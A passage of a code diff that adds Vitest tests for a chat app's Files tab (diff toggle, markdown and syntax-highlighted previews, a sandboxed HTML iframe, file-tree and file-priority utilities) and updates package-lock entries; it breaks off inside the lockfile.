useConversationStore.setState({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
isRightPanelShown: true,
|
||||
hasRightPanelToggled: true,
|
||||
});
|
||||
@@ -224,7 +224,7 @@ describe("useSelectConversationTab", () => {
|
||||
it("should return current isRightPanelShown from store", () => {
|
||||
// Arrange
|
||||
useConversationStore.setState({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
isRightPanelShown: true,
|
||||
hasRightPanelToggled: true,
|
||||
});
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import fs from "fs";
|
||||
import path from "path";
|
||||
|
||||
// The Files-tab diff toggle was renamed from "Diff view" to just "Diff".
|
||||
// Lock that down at the source-of-truth (translation.json) rather than the
|
||||
// rendered label, because the test environment's i18next mock returns keys
|
||||
// rather than translated strings.
|
||||
describe("FILES$DIFF_VIEW label", () => {
|
||||
const translationPath = path.join(
|
||||
__dirname,
|
||||
"../../src/i18n/translation.json",
|
||||
);
|
||||
const translation = JSON.parse(
|
||||
fs.readFileSync(translationPath, "utf-8"),
|
||||
) as Record<string, Record<string, string>>;
|
||||
|
||||
it('uses "Diff" (not "Diff view") in English', () => {
|
||||
expect(translation.FILES$DIFF_VIEW).toBeDefined();
|
||||
expect(translation.FILES$DIFF_VIEW.en).toBe("Diff");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,416 @@
|
||||
/* eslint-disable react/jsx-props-no-spreading */
|
||||
import { render, screen, waitFor } from "@testing-library/react";
|
||||
import userEvent from "@testing-library/user-event";
|
||||
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
|
||||
import { describe, it, expect, vi, beforeEach } from "vitest";
|
||||
import { MemoryRouter } from "react-router";
|
||||
|
||||
import FilesTab from "#/routes/files-tab";
|
||||
|
||||
// Mocks must be declared before the SUT is imported.
|
||||
const useIsGitRepoMock = vi.fn();
|
||||
const useHasGitCommitsMock = vi.fn();
|
||||
const useWorkspaceFilesMock = vi.fn();
|
||||
const useWorkspaceFileContentMock = vi.fn();
|
||||
const refetchGitChangesMock = vi.fn();
|
||||
|
||||
vi.mock("#/hooks/use-is-git-repo", () => ({
|
||||
useIsGitRepo: () => useIsGitRepoMock(),
|
||||
}));
|
||||
|
||||
vi.mock("#/hooks/query/use-has-git-commits", () => ({
|
||||
useHasGitCommits: (opts?: { enabled?: boolean }) =>
|
||||
useHasGitCommitsMock(opts),
|
||||
}));
|
||||
|
||||
vi.mock("#/hooks/query/use-workspace-files", () => ({
|
||||
useWorkspaceFiles: () => useWorkspaceFilesMock(),
|
||||
}));
|
||||
|
||||
vi.mock("#/hooks/query/use-workspace-file-content", () => ({
|
||||
useWorkspaceFileContent: (path: string | null) =>
|
||||
useWorkspaceFileContentMock(path),
|
||||
}));
|
||||
|
||||
vi.mock("#/hooks/query/use-unified-get-git-changes", () => ({
|
||||
useUnifiedGetGitChanges: () => ({
|
||||
refetch: refetchGitChangesMock,
|
||||
isFetching: false,
|
||||
}),
|
||||
}));
|
||||
|
||||
vi.mock("#/routes/changes-tab", () => ({
|
||||
default: () => <div data-testid="changes-tab-content">Diff View</div>,
|
||||
}));
|
||||
|
||||
function renderTab() {
|
||||
const client = new QueryClient({
|
||||
defaultOptions: { queries: { retry: false } },
|
||||
});
|
||||
return render(
|
||||
<MemoryRouter>
|
||||
<QueryClientProvider client={client}>
|
||||
<FilesTab />
|
||||
</QueryClientProvider>
|
||||
</MemoryRouter>,
|
||||
);
|
||||
}
|
||||
|
||||
describe("FilesTab", () => {
|
||||
beforeEach(() => {
|
||||
useIsGitRepoMock.mockReset();
|
||||
useHasGitCommitsMock.mockReset();
|
||||
useWorkspaceFilesMock.mockReset();
|
||||
useWorkspaceFileContentMock.mockReset();
|
||||
refetchGitChangesMock.mockReset();
|
||||
// Default: pretend the probe has already resolved with at least one
|
||||
// commit. Individual tests can override this for "empty repo" cases.
|
||||
useHasGitCommitsMock.mockReturnValue({
|
||||
hasCommits: true,
|
||||
isLoading: false,
|
||||
});
|
||||
|
||||
useWorkspaceFilesMock.mockReturnValue({
|
||||
data: ["index.html", "src/main.ts", "README.md"],
|
||||
isLoading: false,
|
||||
});
|
||||
useWorkspaceFileContentMock.mockReturnValue({
|
||||
data: {
|
||||
path: "index.html",
|
||||
kind: "text",
|
||||
text: "<!doctype html><html><body>hello</body></html>",
|
||||
staticUrl:
|
||||
"http://localhost:3000/api/conversations/c1/workspace/index.html",
|
||||
mimeType: "text/html",
|
||||
},
|
||||
isLoading: false,
|
||||
isError: false,
|
||||
});
|
||||
});
|
||||
|
||||
it("defaults to diff view when working inside a git repo", () => {
|
||||
useIsGitRepoMock.mockReturnValue({ isGitRepo: true, isLoading: false });
|
||||
|
||||
renderTab();
|
||||
|
||||
expect(screen.getByTestId("changes-tab-content")).toBeInTheDocument();
|
||||
// The Rich/Plain toggle is hidden when diff view is active.
|
||||
expect(
|
||||
screen.queryByTestId("files-tab-content-mode-toggle"),
|
||||
).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("defaults to files+rich view in a git repo with zero commits (unborn HEAD)", () => {
|
||||
useIsGitRepoMock.mockReturnValue({ isGitRepo: true, isLoading: false });
|
||||
useHasGitCommitsMock.mockReturnValue({
|
||||
hasCommits: false,
|
||||
isLoading: false,
|
||||
});
|
||||
|
||||
renderTab();
|
||||
|
||||
// Even though it's an attached repo, the diff view is suppressed when
|
||||
// there's nothing to diff against.
|
||||
expect(screen.queryByTestId("changes-tab-content")).not.toBeInTheDocument();
|
||||
expect(
|
||||
screen.getByTestId("files-tab-content-mode-toggle"),
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("does NOT probe for commits when there is no attached repo", () => {
|
||||
useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
|
||||
|
||||
renderTab();
|
||||
|
||||
// The hook is still called (so the diff toggle has a value), but it
|
||||
// must be called with enabled: false so we don't shell out to the
|
||||
// workspace pointlessly.
|
||||
expect(useHasGitCommitsMock).toHaveBeenCalledWith({ enabled: false });
|
||||
});
|
||||
|
||||
it("optimistically defaults to diff view while the has-commits probe is still loading", () => {
|
||||
useIsGitRepoMock.mockReturnValue({ isGitRepo: true, isLoading: false });
|
||||
useHasGitCommitsMock.mockReturnValue({
|
||||
hasCommits: null,
|
||||
isLoading: true,
|
||||
});
|
||||
|
||||
renderTab();
|
||||
|
||||
// The common case is a repo with commits, so to avoid a files→diff
|
||||
// flash on initial mount we lean diff-view while loading.
|
||||
expect(screen.getByTestId("changes-tab-content")).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("defaults to plain file viewer when not in a git repo", () => {
|
||||
useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
|
||||
|
||||
renderTab();
|
||||
|
||||
expect(screen.queryByTestId("changes-tab-content")).not.toBeInTheDocument();
|
||||
// Tree is collapsed by default — user expands via the caret.
|
||||
expect(screen.queryByTestId("files-tab-tree")).not.toBeInTheDocument();
|
||||
expect(
|
||||
screen.getByTestId("files-tab-content-mode-toggle"),
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("lets users toggle diff view off even when in a git repo", async () => {
|
||||
useIsGitRepoMock.mockReturnValue({ isGitRepo: true, isLoading: false });
|
||||
const user = userEvent.setup();
|
||||
|
||||
renderTab();
|
||||
|
||||
expect(screen.getByTestId("changes-tab-content")).toBeInTheDocument();
|
||||
|
||||
// Click the "Files" segment of the diff-view toggle.
|
||||
await user.click(screen.getByTestId("files-tab-diff-toggle-option-off"));
|
||||
|
||||
await waitFor(() => {
|
||||
expect(
|
||||
screen.queryByTestId("changes-tab-content"),
|
||||
).not.toBeInTheDocument();
|
||||
});
|
||||
// Quick-row toggle exists and the file-viewer area is shown.
|
||||
expect(
|
||||
screen.getByTestId("file-quick-row-tree-toggle"),
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("auto-selects the highest-priority file on first render", () => {
|
||||
useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
|
||||
|
||||
renderTab();
|
||||
|
||||
// Either index.html (top-priority entrypoint) should be selected.
|
||||
expect(useWorkspaceFileContentMock).toHaveBeenCalledWith("index.html");
|
||||
});
|
||||
|
||||
it("renders the binary fallback in plain mode for binary files", async () => {
|
||||
useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
|
||||
useWorkspaceFileContentMock.mockReturnValue({
|
||||
data: {
|
||||
path: "logo.png",
|
||||
kind: "binary",
|
||||
text: null,
|
||||
staticUrl:
|
||||
"http://localhost:3000/api/conversations/c1/workspace/logo.png",
|
||||
mimeType: "application/octet-stream",
|
||||
},
|
||||
isLoading: false,
|
||||
isError: false,
|
||||
});
|
||||
const user = userEvent.setup();
|
||||
|
||||
renderTab();
|
||||
|
||||
await user.click(
|
||||
screen.getByTestId("files-tab-content-mode-toggle-option-plain"),
|
||||
);
|
||||
|
||||
expect(
|
||||
screen.getByTestId("file-content-viewer-binary-fallback"),
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("shows full file paths (not just basenames) as quick-row pills", () => {
|
||||
useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
|
||||
|
||||
renderTab();
|
||||
|
||||
// The pill for src/main.ts should display the full relative path.
|
||||
const pill = screen.getByTestId("file-quick-row-item-src/main.ts");
|
||||
expect(pill).toHaveTextContent("src/main.ts");
|
||||
});
|
||||
|
||||
it("collapses the file tree by default and expands it via the caret", async () => {
|
||||
useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
|
||||
const user = userEvent.setup();
|
||||
|
||||
renderTab();
|
||||
|
||||
// Hidden by default.
|
||||
expect(screen.queryByTestId("files-tab-tree")).not.toBeInTheDocument();
|
||||
|
||||
await user.click(screen.getByTestId("file-quick-row-tree-toggle"));
|
||||
expect(screen.getByTestId("files-tab-tree")).toBeInTheDocument();
|
||||
|
||||
await user.click(screen.getByTestId("file-quick-row-tree-toggle"));
|
||||
expect(screen.queryByTestId("files-tab-tree")).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("renders markdown content via MarkdownRenderer in rich mode", async () => {
|
||||
useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
|
||||
// Only expose a markdown file so it is auto-selected as the first
|
||||
// priority entry.
|
||||
useWorkspaceFilesMock.mockReturnValue({
|
||||
data: ["README.md"],
|
||||
isLoading: false,
|
||||
});
|
||||
useWorkspaceFileContentMock.mockReturnValue({
|
||||
data: {
|
||||
path: "README.md",
|
||||
kind: "text",
|
||||
text: "# Hello\n\nSome **bold** text",
|
||||
staticUrl:
|
||||
"http://localhost:3000/api/conversations/c1/workspace/README.md",
|
||||
mimeType: "text/markdown",
|
||||
},
|
||||
isLoading: false,
|
||||
isError: false,
|
||||
});
|
||||
|
||||
renderTab();
|
||||
|
||||
await waitFor(() => {
|
||||
expect(
|
||||
screen.getByTestId("file-content-viewer-markdown"),
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
// react-markdown turns "# Hello" into an <h1>.
|
||||
expect(
|
||||
screen.getByRole("heading", { level: 1, name: "Hello" }),
|
||||
).toBeInTheDocument();
|
||||
expect(screen.getByText("bold").tagName.toLowerCase()).toBe("strong");
|
||||
// Markdown rendering uses MarkdownRenderer, not an iframe.
|
||||
expect(
|
||||
screen.queryByTestId("file-content-viewer-iframe"),
|
||||
).not.toBeInTheDocument();
|
||||
|
||||
// The rich-rendered markdown container must paint the right-pane bg
|
||||
// color (so it blends with the surrounding chrome) and project white
|
||||
// text — both spelled out in the user's design ask.
|
||||
const container = screen.getByTestId("file-content-viewer-markdown");
|
||||
expect(container.className).toContain("bg-[#25272D]");
|
||||
expect(container.className).toContain("text-white");
|
||||
});
|
||||
|
||||
it("shows highlighted source (not rich markdown) when toggled to plain on a .md", async () => {
|
||||
useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
|
||||
useWorkspaceFilesMock.mockReturnValue({
|
||||
data: ["README.md"],
|
||||
isLoading: false,
|
||||
});
|
||||
useWorkspaceFileContentMock.mockReturnValue({
|
||||
data: {
|
||||
path: "README.md",
|
||||
kind: "text",
|
||||
text: "# Hello\n\nSome **bold** text",
|
||||
staticUrl:
|
||||
"http://localhost:3000/api/conversations/c1/workspace/README.md",
|
||||
mimeType: "text/markdown",
|
||||
},
|
||||
isLoading: false,
|
||||
isError: false,
|
||||
});
|
||||
const user = userEvent.setup();
|
||||
|
||||
renderTab();
|
||||
|
||||
// Toggle to plain — markdown source should now be syntax-highlighted
|
||||
// as `markdown`, not rendered.
|
||||
await user.click(
|
||||
screen.getByTestId("files-tab-content-mode-toggle-option-plain"),
|
||||
);
|
||||
|
||||
const highlighted = await screen.findByTestId(
|
||||
"file-content-viewer-highlighted",
|
||||
);
|
||||
expect(highlighted.getAttribute("data-language")).toBe("markdown");
|
||||
// Confirm the rich-rendered <h1> is gone.
|
||||
expect(
|
||||
screen.queryByRole("heading", { level: 1, name: "Hello" }),
|
||||
).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("uses the static workspace URL as the iframe src for HTML files", async () => {
|
||||
useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
|
||||
useWorkspaceFilesMock.mockReturnValue({
|
||||
data: ["index.html"],
|
||||
isLoading: false,
|
||||
});
|
||||
const staticUrl =
|
||||
"http://localhost:3000/api/conversations/abc/workspace/index.html";
|
||||
useWorkspaceFileContentMock.mockReturnValue({
|
||||
data: {
|
||||
path: "index.html",
|
||||
kind: "text",
|
||||
text: "<!doctype html><body>hi</body>",
|
||||
staticUrl,
|
||||
mimeType: "text/html",
|
||||
},
|
||||
isLoading: false,
|
||||
isError: false,
|
||||
});
|
||||
|
||||
renderTab();
|
||||
|
||||
const iframe = await screen.findByTestId("file-content-viewer-iframe");
|
||||
expect(iframe).toBeInTheDocument();
|
||||
// The iframe src starts with the workspace static URL and carries the
|
||||
// mutation-counter cache-buster (`?v=<n>`) so browser-cached responses
|
||||
// are invalidated whenever the agent edits a file.
|
||||
expect(iframe.getAttribute("src")).toMatch(
|
||||
new RegExp(`^${staticUrl.replace(/[/.]/g, "\\$&")}\\?v=\\d+$`),
|
||||
);
|
||||
// The iframe is sandboxed with `allow-same-origin` only: relative
|
||||
// asset refs (CSS, images) load from the workspace fileserver
|
||||
// origin, but `<script>` / inline event handlers inside the
|
||||
// previewed file are inert. We deliberately do NOT add
|
||||
// `allow-scripts` — a workspace HTML file's scripts must not run in
|
||||
// the canvas's context.
|
||||
expect(iframe).toHaveAttribute("sandbox", "allow-same-origin");
|
||||
});
|
||||
|
||||
it("switches between rich and plain content modes", async () => {
|
||||
useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
|
||||
// Only `src/main.ts` is exposed so it auto-selects (otherwise the
|
||||
// priority sort picks `index.html` first and the assertion below
|
||||
// would see the markup grammar instead).
|
||||
useWorkspaceFilesMock.mockReturnValue({
|
||||
data: ["src/main.ts"],
|
||||
isLoading: false,
|
||||
});
|
||||
useWorkspaceFileContentMock.mockReturnValue({
|
||||
data: {
|
||||
path: "src/main.ts",
|
||||
kind: "text",
|
||||
text: "console.log('hi');",
|
||||
staticUrl:
|
||||
"http://localhost:3000/api/conversations/c1/workspace/src/main.ts",
|
||||
mimeType: "text/plain",
|
||||
},
|
||||
isLoading: false,
|
||||
isError: false,
|
||||
});
|
||||
const user = userEvent.setup();
|
||||
|
||||
renderTab();
|
||||
|
||||
await user.click(
|
||||
screen.getByTestId("files-tab-content-mode-toggle-option-plain"),
|
||||
);
|
||||
// `src/main.ts` resolves to a Prism grammar (`typescript`), so the
|
||||
// plain view is a syntax-highlighted source view rather than a raw
|
||||
// `<pre>`. We assert the highlighted container and its data-language
|
||||
// attribute as a regression guard.
|
||||
const highlighted = await screen.findByTestId(
|
||||
"file-content-viewer-highlighted",
|
||||
);
|
||||
expect(highlighted).toBeInTheDocument();
|
||||
expect(highlighted.getAttribute("data-language")).toBe("typescript");
|
||||
});
|
||||
|
||||
it("shows the refresh button inside the files-tab toolbar and triggers a refetch", async () => {
|
||||
useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
|
||||
const user = userEvent.setup();
|
||||
|
||||
renderTab();
|
||||
|
||||
const refresh = screen.getByTestId("files-tab-refresh");
|
||||
expect(refresh).toBeInTheDocument();
|
||||
await user.click(refresh);
|
||||
expect(refetchGitChangesMock).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,66 @@
|
||||
import { describe, it, expect } from "vitest";
|
||||
|
||||
import { getPrismLanguageForFile } from "#/utils/file-language";
|
||||
|
||||
describe("getPrismLanguageForFile", () => {
|
||||
it("maps common source-code extensions to their Prism grammars", () => {
|
||||
expect(getPrismLanguageForFile("src/index.ts")).toBe("typescript");
|
||||
expect(getPrismLanguageForFile("src/App.tsx")).toBe("tsx");
|
||||
expect(getPrismLanguageForFile("scripts/build.js")).toBe("javascript");
|
||||
expect(getPrismLanguageForFile("main.py")).toBe("python");
|
||||
expect(getPrismLanguageForFile("server.go")).toBe("go");
|
||||
expect(getPrismLanguageForFile("lib/util.rs")).toBe("rust");
|
||||
expect(getPrismLanguageForFile("Cargo.toml")).toBe("toml");
|
||||
});
|
||||
|
||||
it("maps web / markup files to grammars", () => {
|
||||
expect(getPrismLanguageForFile("index.html")).toBe("markup");
|
||||
expect(getPrismLanguageForFile("page.htm")).toBe("markup");
|
||||
expect(getPrismLanguageForFile("logo.svg")).toBe("markup");
|
||||
expect(getPrismLanguageForFile("styles/main.css")).toBe("css");
|
||||
expect(getPrismLanguageForFile("styles/main.scss")).toBe("scss");
|
||||
expect(getPrismLanguageForFile("README.md")).toBe("markdown");
|
||||
expect(getPrismLanguageForFile("docs/guide.mdx")).toBe("markdown");
|
||||
});
|
||||
|
||||
it("recognizes well-known no-extension filenames", () => {
|
||||
expect(getPrismLanguageForFile("Dockerfile")).toBe("docker");
|
||||
expect(getPrismLanguageForFile("path/to/Dockerfile")).toBe("docker");
|
||||
expect(getPrismLanguageForFile("Makefile")).toBe("makefile");
|
||||
expect(getPrismLanguageForFile(".bashrc")).toBe("bash");
|
||||
expect(getPrismLanguageForFile(".gitignore")).toBe("bash");
|
||||
});
|
||||
|
||||
it("is case-insensitive on the extension", () => {
|
||||
expect(getPrismLanguageForFile("README.MD")).toBe("markdown");
|
||||
expect(getPrismLanguageForFile("Util.PY")).toBe("python");
|
||||
});
|
||||
|
||||
it("falls back on mime type when no extension matches", () => {
|
||||
expect(
|
||||
getPrismLanguageForFile("LICENSE", "text/markdown"),
|
||||
).toBe("markdown");
|
||||
expect(
|
||||
getPrismLanguageForFile("data", "application/json"),
|
||||
).toBe("json");
|
||||
expect(
|
||||
getPrismLanguageForFile("config", "text/yaml"),
|
||||
).toBe("yaml");
|
||||
});
|
||||
|
||||
it("returns null for unknown extensions and unknown mime types", () => {
|
||||
// No extension, no mime type, no known basename → bail out so the
|
||||
// caller can render a raw <pre>.
|
||||
expect(getPrismLanguageForFile("LICENSE")).toBeNull();
|
||||
expect(getPrismLanguageForFile("data.xyz")).toBeNull();
|
||||
expect(
|
||||
getPrismLanguageForFile("data.bin", "application/octet-stream"),
|
||||
).toBeNull();
|
||||
});
|
||||
|
||||
it("does not confuse a dot-prefix file with an extension", () => {
|
||||
// `.env` is a basename, not "extension = env".
|
||||
expect(getPrismLanguageForFile(".env")).toBe("bash");
|
||||
expect(getPrismLanguageForFile(".dockerignore")).toBe("bash");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,72 @@
|
||||
import { describe, it, expect } from "vitest";
|
||||
|
||||
import {
|
||||
sortFilesByPriority,
|
||||
filePriorityScore,
|
||||
} from "#/utils/file-priority";
|
||||
|
||||
describe("file-priority", () => {
|
||||
it("places index.html before other files", () => {
|
||||
const sorted = sortFilesByPriority([
|
||||
"src/utils/helpers.ts",
|
||||
"src/index.html",
|
||||
"src/components/widget.tsx",
|
||||
]);
|
||||
expect(sorted[0]).toBe("src/index.html");
|
||||
});
|
||||
|
||||
it("places README.md before generic source files", () => {
|
||||
const sorted = sortFilesByPriority([
|
||||
"src/components/widget.tsx",
|
||||
"README.md",
|
||||
"src/utils/helpers.ts",
|
||||
]);
|
||||
expect(sorted[0]).toBe("README.md");
|
||||
});
|
||||
|
||||
it("prefers top-level index.html over a nested one", () => {
|
||||
const sorted = sortFilesByPriority([
|
||||
"src/nested/index.html",
|
||||
"index.html",
|
||||
]);
|
||||
expect(sorted[0]).toBe("index.html");
|
||||
expect(sorted[1]).toBe("src/nested/index.html");
|
||||
});
|
||||
|
||||
it("prefers a shallower path even when the deeper one is more 'important'", () => {
|
||||
// README.md (depth 0) outranks foo/bar/index.html (depth 2) despite
|
||||
// index.html being a higher-priority basename — the user almost always
|
||||
// cares more about top-level files first.
|
||||
const sorted = sortFilesByPriority(["foo/bar/index.html", "README.md"]);
|
||||
expect(sorted[0]).toBe("README.md");
|
||||
expect(sorted[1]).toBe("foo/bar/index.html");
|
||||
});
|
||||
|
||||
it("ranks index.html above README.md at the same depth", () => {
|
||||
const sorted = sortFilesByPriority(["README.md", "index.html"]);
|
||||
expect(sorted[0]).toBe("index.html");
|
||||
expect(sorted[1]).toBe("README.md");
|
||||
});
|
||||
|
||||
it("falls back to alphabetical order for unimportant files", () => {
|
||||
const sorted = sortFilesByPriority([
|
||||
"src/zeta.ts",
|
||||
"src/alpha.ts",
|
||||
"src/mu.ts",
|
||||
]);
|
||||
expect(sorted).toEqual(["src/alpha.ts", "src/mu.ts", "src/zeta.ts"]);
|
||||
});
|
||||
|
||||
it("scores high-priority basenames lower than generic files", () => {
|
||||
expect(filePriorityScore("package.json")).toBeLessThan(
|
||||
filePriorityScore("src/some-helper.ts"),
|
||||
);
|
||||
});
|
||||
|
||||
it("does not mutate the input array", () => {
|
||||
const input = ["b.ts", "a.ts"];
|
||||
const original = [...input];
|
||||
sortFilesByPriority(input);
|
||||
expect(input).toEqual(original);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,74 @@
|
||||
import { describe, it, expect } from "vitest";
|
||||
|
||||
import { buildFileTree } from "#/utils/file-tree";
|
||||
|
||||
describe("buildFileTree", () => {
|
||||
it("builds a nested tree from flat paths", () => {
|
||||
const root = buildFileTree([
|
||||
"src/a.ts",
|
||||
"src/sub/b.ts",
|
||||
"README.md",
|
||||
]);
|
||||
|
||||
expect(root.children.map((c) => c.name)).toEqual(["src", "README.md"]);
|
||||
|
||||
const srcDir = root.children.find((c) => c.name === "src");
|
||||
expect(srcDir?.isDirectory).toBe(true);
|
||||
expect(srcDir?.children.map((c) => c.name)).toEqual(["sub", "a.ts"]);
|
||||
|
||||
const readme = root.children.find((c) => c.name === "README.md");
|
||||
expect(readme?.isDirectory).toBe(false);
|
||||
expect(readme?.path).toBe("README.md");
|
||||
});
|
||||
|
||||
it("sorts directories before files at every level", () => {
|
||||
const root = buildFileTree([
|
||||
"z-file.ts",
|
||||
"dir/inner.ts",
|
||||
"a-file.ts",
|
||||
]);
|
||||
const names = root.children.map((c) => c.name);
|
||||
expect(names).toEqual(["dir", "a-file.ts", "z-file.ts"]);
|
||||
});
|
||||
|
||||
it("does not duplicate directory nodes when many files share a directory", () => {
|
||||
const root = buildFileTree([
|
||||
"src/a.ts",
|
||||
"src/b.ts",
|
||||
"src/c.ts",
|
||||
]);
|
||||
expect(root.children).toHaveLength(1);
|
||||
expect(root.children[0].children).toHaveLength(3);
|
||||
});
|
||||
|
||||
it("returns an empty tree when given no paths", () => {
|
||||
const root = buildFileTree([]);
|
||||
expect(root.children).toEqual([]);
|
||||
});
|
||||
|
||||
it("promotes a previously-leaf node to a directory when a deeper path needs it", () => {
|
||||
// Regression test: feeding the builder a flat list that contains both
|
||||
// `src` (treated as a file by virtue of having no further segments)
|
||||
// and `src/index.ts` used to silently drop `index.ts` because the
|
||||
// `src` node had `isDirectory: false` and we never descended into
|
||||
// it. The builder now promotes the leaf to a directory.
|
||||
const root = buildFileTree(["src", "src/index.ts"]);
|
||||
|
||||
const srcNode = root.children.find((c) => c.name === "src");
|
||||
expect(srcNode).toBeDefined();
|
||||
expect(srcNode?.isDirectory).toBe(true);
|
||||
expect(srcNode?.children.map((c) => c.name)).toEqual(["index.ts"]);
|
||||
});
|
||||
|
||||
it("handles very wide directories efficiently (regression: O(n) lookup)", () => {
|
||||
// Just a smoke test — with the old O(n²) `find` lookup, building a
|
||||
// tree of 5000 siblings took noticeably long. We don't time the
|
||||
// call (flaky in CI); we just exercise the path to make sure the
|
||||
// builder doesn't blow up and produces the right shape.
|
||||
const paths = Array.from({ length: 5000 }, (_, i) => `pkg/file_${i}.ts`);
|
||||
const root = buildFileTree(paths);
|
||||
expect(root.children).toHaveLength(1);
|
||||
expect(root.children[0].name).toBe("pkg");
|
||||
expect(root.children[0].children).toHaveLength(5000);
|
||||
});
|
||||
});
|
||||
Generated
+171
-3
@@ -12,7 +12,7 @@
|
||||
"@heroui/react": "2.8.10",
|
||||
"@microlink/react-json-view": "1.31.19",
|
||||
"@monaco-editor/react": "4.7.0",
|
||||
"@openhands/typescript-client": "github:OpenHands/typescript-client#6b9603f06ea0ecc9bc715bf2192e274c23cd3be6",
|
||||
"@openhands/typescript-client": "github:OpenHands/typescript-client#ef62e82fc3dfb03991a1c8025429caf354427263",
|
||||
"@react-router/node": "7.14.2",
|
||||
"@react-router/serve": "7.14.2",
|
||||
"@tailwindcss/vite": "4.2.4",
|
||||
@@ -41,6 +41,8 @@
|
||||
"react-markdown": "10.1.0",
|
||||
"react-router": "7.14.2",
|
||||
"react-syntax-highlighter": "16.1.1",
|
||||
"rehype-raw": "7.0.0",
|
||||
"rehype-sanitize": "6.0.0",
|
||||
"remark-breaks": "4.0.0",
|
||||
"remark-gfm": "4.0.1",
|
||||
"sirv-cli": "3.0.1",
|
||||
@@ -3399,8 +3401,8 @@
|
||||
},
|
||||
"node_modules/@openhands/typescript-client": {
|
||||
"version": "0.1.1",
|
||||
"resolved": "git+ssh://git@github.com/OpenHands/typescript-client.git#6b9603f06ea0ecc9bc715bf2192e274c23cd3be6",
|
||||
"integrity": "sha512-nna6lSh557v+ovhGESlCHz1X6rMmnFKrJF9n2L1Q8YeHb911Vmmxyk7bNKJQNqDsP/jVajzO8DLhNlgYX0nTvA==",
|
||||
"resolved": "git+ssh://git@github.com/OpenHands/typescript-client.git#ef62e82fc3dfb03991a1c8025429caf354427263",
|
||||
"integrity": "sha512-Xf/qAgdXAhOLvEg6kxpYrXj2UWUhqQwWDLGOmUqMK8pY5MJCCLthArPYu5TGxJAmf5YWa3oFLadn67NE4RSFQg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@openrouter/sdk": "^0.12.25",
|
||||
@@ -11304,6 +11306,26 @@
|
||||
"node": ">= 0.4"
|
||||
}
|
||||
},
|
||||
"node_modules/hast-util-from-parse5": {
|
||||
"version": "8.0.3",
|
||||
"resolved": "https://registry.npmjs.org/hast-util-from-parse5/-/hast-util-from-parse5-8.0.3.tgz",
|
||||
"integrity": "sha512-3kxEVkEKt0zvcZ3hCRYI8rqrgwtlIOFMWkbclACvjlDw8Li9S2hk/d51OI0nr/gIpdMHNepwgOKqZ/sy0Clpyg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/hast": "^3.0.0",
|
||||
"@types/unist": "^3.0.0",
|
||||
"devlop": "^1.0.0",
|
||||
"hastscript": "^9.0.0",
|
||||
"property-information": "^7.0.0",
|
||||
"vfile": "^6.0.0",
|
||||
"vfile-location": "^5.0.0",
|
||||
"web-namespaces": "^2.0.0"
|
||||
},
|
||||
"funding": {
|
||||
"type": "opencollective",
|
||||
"url": "https://opencollective.com/unified"
|
||||
}
|
||||
},
|
||||
"node_modules/hast-util-parse-selector": {
|
||||
"version": "4.0.0",
|
||||
"resolved": "https://registry.npmjs.org/hast-util-parse-selector/-/hast-util-parse-selector-4.0.0.tgz",
|
||||
@@ -11317,6 +11339,70 @@
|
||||
"url": "https://opencollective.com/unified"
|
||||
}
|
||||
},
|
||||
"node_modules/hast-util-raw": {
|
||||
"version": "9.1.0",
|
||||
"resolved": "https://registry.npmjs.org/hast-util-raw/-/hast-util-raw-9.1.0.tgz",
|
||||
"integrity": "sha512-Y8/SBAHkZGoNkpzqqfCldijcuUKh7/su31kEBp67cFY09Wy0mTRgtsLYsiIxMJxlu0f6AA5SUTbDR8K0rxnbUw==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/hast": "^3.0.0",
|
||||
"@types/unist": "^3.0.0",
|
||||
"@ungap/structured-clone": "^1.0.0",
|
||||
"hast-util-from-parse5": "^8.0.0",
|
||||
"hast-util-to-parse5": "^8.0.0",
|
||||
"html-void-elements": "^3.0.0",
|
||||
"mdast-util-to-hast": "^13.0.0",
|
||||
"parse5": "^7.0.0",
|
||||
"unist-util-position": "^5.0.0",
|
||||
"unist-util-visit": "^5.0.0",
|
||||
"vfile": "^6.0.0",
|
||||
"web-namespaces": "^2.0.0",
|
||||
"zwitch": "^2.0.0"
|
||||
},
|
||||
"funding": {
|
||||
"type": "opencollective",
|
||||
"url": "https://opencollective.com/unified"
|
||||
}
|
||||
},
|
||||
"node_modules/hast-util-raw/node_modules/entities": {
|
||||
"version": "6.0.1",
|
||||
"resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz",
|
||||
"integrity": "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==",
|
||||
"license": "BSD-2-Clause",
|
||||
"engines": {
|
||||
